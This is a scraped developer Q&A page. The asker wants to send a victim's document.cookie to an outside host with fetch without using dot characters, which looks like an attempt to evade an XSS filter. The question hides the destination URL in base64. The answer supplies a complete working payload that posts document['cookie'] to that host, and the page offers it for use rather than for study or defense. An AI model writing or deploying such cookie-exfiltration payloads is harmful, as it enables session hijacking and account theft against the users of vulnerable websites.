Follow

Keep Up to Date with the Most Important News

By pressing the Subscribe button, you confirm that you have read and are agreeing to our Privacy Policy and Terms of Use
Contact

Avoid dots in JS

I want to achieve sending document cookie to a domain without dots.

This is the action to be performed:

fetch('https://qoi4vi4vorwzfuui8lfc64s2zt5ltbh0.example.com', { method: 'POST', mode: 'no-cors', body:document.cookie })

This is what I have done for the moment:

MEDevel.com: Open-source for Healthcare and Education

Collecting and validating open-source software for healthcare, education, enterprise, development, medical imaging, medical records, and digital pathology.

Visit Medevel

fetch(atob('aHR0cHM6Ly9xb2k0dmk0dm9yd3pmdXVpOGxmYzY0czJ6dDVsdGJoMC5leGFtcGxlLmNvbQ=='), { method: 'POST', mode: 'no-cors', body:1 })

Given that:

aHR0cHM6Ly9xb2k0dmk0dm9yd3pmdXVpOGxmYzY0czJ6dDVsdGJoMC5leGFtcGxlLmNvbQ== is the base64 of https://qoi4vi4vorwzfuui8lfc64s2zt5ltbh0.example.com

I don’t know how to deal with

body:document.cookie

to be something like:

body:atob(ZG9jdW1lbnQuY29va2ll) being ZG9jdW1lbnQuY29va2ll the base64 of document.cookie

I want to perform it this way, via fetch.

Regards!

>Solution :

Please read all the comments regarding our concerns about this.


To answer your question, use the bracket notation ([]):

fetch(atob('aHR0cHM6Ly9xb2k0dmk0dm9yd3pmdXVpOGxmYzY0czJ6dDVsdGJoMC5leGFtcGxlLmNvbQ=='), { 
    method: 'POST', 
    mode: 'no-cors', 
    body: document['cookie']
})
Add a comment

Leave a Reply

Keep Up to Date with the Most Important News

By pressing the Subscribe button, you confirm that you have read and are agreeing to our Privacy Policy and Terms of Use

Discover more from Dev solutions

Subscribe now to keep reading and get access to the full archive.

Continue reading